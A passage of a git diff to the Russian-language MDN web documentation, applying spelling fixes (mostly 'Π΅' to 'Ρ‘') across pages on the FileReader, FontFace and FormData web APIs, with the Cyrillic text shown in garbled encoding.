+ <li>Π’ вСрсиях Gecko Π½ΠΈΠΆΠ΅ 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("FileError") }}. Π­Ρ‚ΠΎΡ‚ интСрфСйс Π±Ρ‹Π» ΡƒΠΏΡ€Π°Π·Π΄Π½Ρ‘Π½ ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ свойство <code>FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("DOMError") }}, Ρ‡Ρ‚ΠΎ соотвСтствуСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ FileAPI послСднСй спСцификации.</li>
</ul>
<h2 id="See_also" name="See_also">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/filereader/readasarraybuffer/index.html b/files/ru/web/api/filereader/readasarraybuffer/index.html
index da7fd56e8c..29fb2d3cb5 100644
--- a/files/ru/web/api/filereader/readasarraybuffer/index.html
+++ b/files/ru/web/api/filereader/readasarraybuffer/index.html
@@ -97,7 +97,7 @@ translation_of: Web/API/FileReader/readAsArrayBuffer
</table>
</div>
-<p>[1] Π”ΠΎ Gecko 2.0 beta 7 (Firefox 4.0 beta 7), всС {{domxref("Blob")}}Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π±Ρ‹Π»ΠΈ {{domxref("File")}} ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ; Π±Ρ‹Π»ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½Ρ‹ измСнСния<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлСтворСния условий</span> <span class="alt-edited">спСцификации</span></span>. Π”ΠΎ Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("FileError")}}. Π­Ρ‚ΠΎΡ‚ интСрфСйс Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ <code>FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("DOMError")}} ΠΊΠ°ΠΊ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² послСднСм Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ΅ FileAPI.</p>
+<p>[1] Π”ΠΎ Gecko 2.0 beta 7 (Firefox 4.0 beta 7), всС {{domxref("Blob")}}Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π±Ρ‹Π»ΠΈ {{domxref("File")}} ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ; Π±Ρ‹Π»ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½Ρ‹ измСнСния<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлСтворСния условий</span> <span class="alt-edited">спСцификации</span></span>. Π”ΠΎ Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("FileError")}}. Π­Ρ‚ΠΎΡ‚ интСрфСйс Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ <code>FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("DOMError")}} ΠΊΠ°ΠΊ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² послСднСм Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ΅ FileAPI.</p>
<p>[2] IE9 ΠΈΠΌΠ΅Π΅Ρ‚ <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
diff --git a/files/ru/web/api/filereader/readasbinarystring/index.html b/files/ru/web/api/filereader/readasbinarystring/index.html
index 4f4f5cb6a2..30bd9dfb31 100644
--- a/files/ru/web/api/filereader/readasbinarystring/index.html
+++ b/files/ru/web/api/filereader/readasbinarystring/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/FileReader/readAsBinaryString
---
<div>{{APIRef("File API")}} {{non-standard_header}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>readAsBinaryString</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π½Π°Ρ‡Π°Π»Π° считывания содСрТимого ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ {{domxref("Blob")}} ΠΈΠ»ΠΈ {{domxref("File")}}. Когда опСрация чтСния Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, ΠΈ срабатываСт {{event("loadend")}} . Π’ это врСмя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{domxref("FileReader.result","result")}} содСрТит сырыС Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ„Π°ΠΉΠ»Π°.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>readAsBinaryString</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π½Π°Ρ‡Π°Π»Π° считывания содСрТимого ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ {{domxref("Blob")}} ΠΈΠ»ΠΈ {{domxref("File")}}. Когда опСрация чтСния Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, ΠΈ срабатываСт {{event("loadend")}} . Π’ это врСмя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{domxref("FileReader.result","result")}} содСрТит сырыС Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ„Π°ΠΉΠ»Π°.</p>
<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот мСтод  устарСл (12 July 2012 Working Draft from the W3C.)</p>
@@ -48,7 +48,7 @@ canvas.toBlob(function (blob) {
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· стандарта FileAPI. ВмСсто Π½Π΅Π³ΠΎ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("FileReader.readAsArrayBuffer()")}}.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· стандарта FileAPI. ВмСсто Π½Π΅Π³ΠΎ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("FileReader.readAsArrayBuffer()")}}.</p>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
diff --git a/files/ru/web/api/fontface/index.html b/files/ru/web/api/fontface/index.html
index 7769abe93e..2b7a991c7e 100644
--- a/files/ru/web/api/fontface/index.html
+++ b/files/ru/web/api/fontface/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/FontFace
<dl>
<dt>{{domxref("FontFace.FontFace", "FontFace()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>FontFace</code>, созданный ΠΈΠ· внСшнСго рСсурса, описанного  URL-адрСсом ΠΈΠ»ΠΈ ΠΈΠ· {{domxref("ArrayBuffer")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>FontFace</code>, созданный ΠΈΠ· внСшнСго рСсурса, описанного  URL-адрСсом ΠΈΠ»ΠΈ ΠΈΠ· {{domxref("ArrayBuffer")}}.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/formdata/append/index.html b/files/ru/web/api/formdata/append/index.html
index 6e3b43a2b1..dcaf2440f4 100644
--- a/files/ru/web/api/formdata/append/index.html
+++ b/files/ru/web/api/formdata/append/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/FormData/append
---
<p>{{APIRef("XMLHttpRequest")}}</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>append()</strong></code> ΠΈΠ· интСрфСйса {{domxref("FormData")}} добавляСт Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΊΠ»ΡŽΡ‡ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>FormData</code>, ΠΈΠ»ΠΈ создаСт ΠΊΠ»ΡŽΡ‡, Π² случаС Ссли ΠΎΠ½ отсутствуСт.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>append()</strong></code> ΠΈΠ· интСрфСйса {{domxref("FormData")}} добавляСт Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΊΠ»ΡŽΡ‡ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>FormData</code>, ΠΈΠ»ΠΈ создаёт ΠΊΠ»ΡŽΡ‡, Π² случаС Ссли ΠΎΠ½ отсутствуСт.</p>
<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄ΡƒΒ {{domxref("FormData.set")}} ΠΈ <code>append()</code>Β Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ ΡƒΠΆΠ΅ сущСствуСт, {{domxref("FormData.set")}} Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π½Π΅ΠΌ Π½Π° Π½ΠΎΠ²Ρ‹Π΅, Π° <code>append()</code>Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ Π² ΠΊΠΎΠ½Π΅Ρ†.</p>
@@ -26,9 +26,9 @@ formData.append(name, value, filename);</pre>
<dt><code>name</code></dt>
<dd>Имя поля, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ·Β <code>value</code>.</dd>
<dt><code>value</code></dt>
- <dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ поля. Π’ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅ с двумя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, это являСтся {{domxref("USVString")}}, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся строкой, Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π² Π½Π΅Π΅ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ. Π’ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅ с трСмя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ {{domxref("Blob")}}, {{domxref("File")}}, ΠΈΠ»ΠΈ {{domxref("USVString")}}, И снова, Ссли Π½ΠΈΒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π² строку.</dd>
+ <dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ поля. Π’ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅ с двумя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, это являСтся {{domxref("USVString")}}, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся строкой, Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π² Π½Π΅Ρ‘ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ. Π’ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅ с трСмя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ {{domxref("Blob")}}, {{domxref("File")}}, ΠΈΠ»ΠΈ {{domxref("USVString")}}, И снова, Ссли Π½ΠΈΒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π² строку.</dd>
<dt><code>filename </code>{{optional_inline}}</dt>
- <dd>Имя Ρ„Π°ΠΉΠ»Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ сСрвСру ({{domxref("USVString")}}), ΠΊΠΎΠ³Π΄Π°Β {{domxref("Blob")}} ΠΈΠ»ΠΈΒ {{domxref("File")}} ΠΏΡ€ΠΎΡˆΠ΅Π» ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠ΅ имя Ρ„Π°ΠΉΠ»Π° для {{domxref("Blob")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β ΡΡ‚ΠΎΒ "blob".</dd>
+ <dd>Имя Ρ„Π°ΠΉΠ»Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ сСрвСру ({{domxref("USVString")}}), ΠΊΠΎΠ³Π΄Π°Β {{domxref("Blob")}} ΠΈΠ»ΠΈΒ {{domxref("File")}} ΠΏΡ€ΠΎΡˆΡ‘Π» ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠ΅ имя Ρ„Π°ΠΉΠ»Π° для {{domxref("Blob")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β ΡΡ‚ΠΎΒ "blob".</dd>
</dl>
<div class="note">
@@ -41,7 +41,7 @@ formData.append(name, value, filename);</pre>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Данная строка ΠΊΠΎΠ΄Π° создаСт пустой <code>FormData</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚:</p>
+<p>Данная строка ΠΊΠΎΠ΄Π° создаёт пустой <code>FormData</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚:</p>
<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
diff --git a/files/ru/web/api/formdata/delete/index.html b/files/ru/web/api/formdata/delete/index.html
index f4c6db339c..51ed9731aa 100644
--- a/files/ru/web/api/formdata/delete/index.html
+++ b/files/ru/web/api/formdata/delete/index.html
@@ -28,7 +28,7 @@ translation_of: Web/API/FormData/delete
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>FormData</code> ΠΈ заполняСт Π΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠΈ "ΠΊΠ»ΡŽΡ‡"/"Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅" ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>FormData</code> ΠΈ заполняСт Π΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠΈ "ΠΊΠ»ΡŽΡ‡"/"Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅" ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹:</p>
<pre class="brush: js">var formData = new FormData(myForm);</pre>
diff --git a/files/ru/web/api/formdata/formdata/index.html b/files/ru/web/api/formdata/formdata/index.html
index 260388230f..fde13d802a 100644
--- a/files/ru/web/api/formdata/formdata/index.html
+++ b/files/ru/web/api/formdata/formdata/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/FormData/FormData
---
<p>{{APIRef("XMLHttpRequest")}}</p>
-<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>FormData()</strong></code> создаСт Π½ΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("FormData")}}, Ссли ΠΏΡ€ΠΎΡ‰Π΅ - HTML-Ρ„ΠΎΡ€ΠΌΡƒ<strong>.</strong></p>
+<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>FormData()</strong></code> создаёт Π½ΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("FormData")}}, Ссли ΠΏΡ€ΠΎΡ‰Π΅ - HTML-Ρ„ΠΎΡ€ΠΌΡƒ<strong>.</strong></p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -59,7 +59,7 @@ console.log(
<pre class="brush: js">formData.get(name);
</pre>
-<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ элСмСнта Ρ„ΠΎΡ€ΠΌΡ‹:</p>
+<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ элСмСнта Ρ„ΠΎΡ€ΠΌΡ‹:</p>
<pre class="brush: js">formData.has(name);</pre>
diff --git a/files/ru/web/api/formdata/get/index.html b/files/ru/web/api/formdata/get/index.html
index df52182d7b..d5f2d497df 100644
--- a/files/ru/web/api/formdata/get/index.html
+++ b/files/ru/web/api/formdata/get/index.html
@@ -28,7 +28,7 @@ translation_of: Web/API/FormData/get
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ код создаСт пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>FormData</code>:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ код создаёт пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>FormData</code>:</p>
<pre class="brush: js">var formData = new FormData();</pre>
@@ -60,7 +60,7 @@ formData.append('username', 'ΠšΠΈΡ€ΠΈΠ»Π»');</pre>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти исправлСния, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти исправлСния, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
<p>{{Compat("api.FormData.get")}}</p>
diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html
index 24e12c408b..e2294811bf 100644
--- a/files/ru/web/api/formdata/getall/index.html
+++ b/files/ru/web/api/formdata/getall/index.html
@@ -39,7 +39,7 @@ formData.append('username', 'ΠšΠΈΡ€ΠΈΠ»Π»');</pre>
<p>Π’ΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>getAll()</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΠ±Π° значСния <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font>Β Π² Π²ΠΈΠ΄Π΅ массива:</p>
-<pre class="brush: js notranslate">formData.getAll('username'); // Π’Π΅Ρ€Π½Π΅Ρ‚ ["Борис", "ΠšΠΈΡ€ΠΈΠ»Π»"]</pre>
+<pre class="brush: js notranslate">formData.getAll('username'); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ ["Борис", "ΠšΠΈΡ€ΠΈΠ»Π»"]</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/formdata/index.html b/files/ru/web/api/formdata/index.html
index d41f05327f..f523a5957c 100644
--- a/files/ru/web/api/formdata/index.html
+++ b/files/ru/web/api/formdata/index.html
@@ -65,14 +65,14 @@ translation_of: Web/API/FormData
<tr>
<td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
<td>{{Spec2('XMLHttpRequest')}}</td>
- <td>FormData ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² XHR spec</td>
+ <td>FormData ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² XHR spec</td>
</tr>
</tbody>
</table>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° слияниС.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° слияниС.</div>
<p>{{Compat("api.FormData")}}</p>
diff --git a/files/ru/web/api/formdata/set/index.html b/files/ru/web/api/formdata/set/index.html
index e07505b0f1..e8af25b8de 100644
--- a/files/ru/web/api/formdata/set/index.html
+++ b/files/ru/web/api/formdata/set/index.html
@@ -28,7 +28,7 @@ formData.set(name, value, filename);</pre>
<dt><code>value</code></dt>
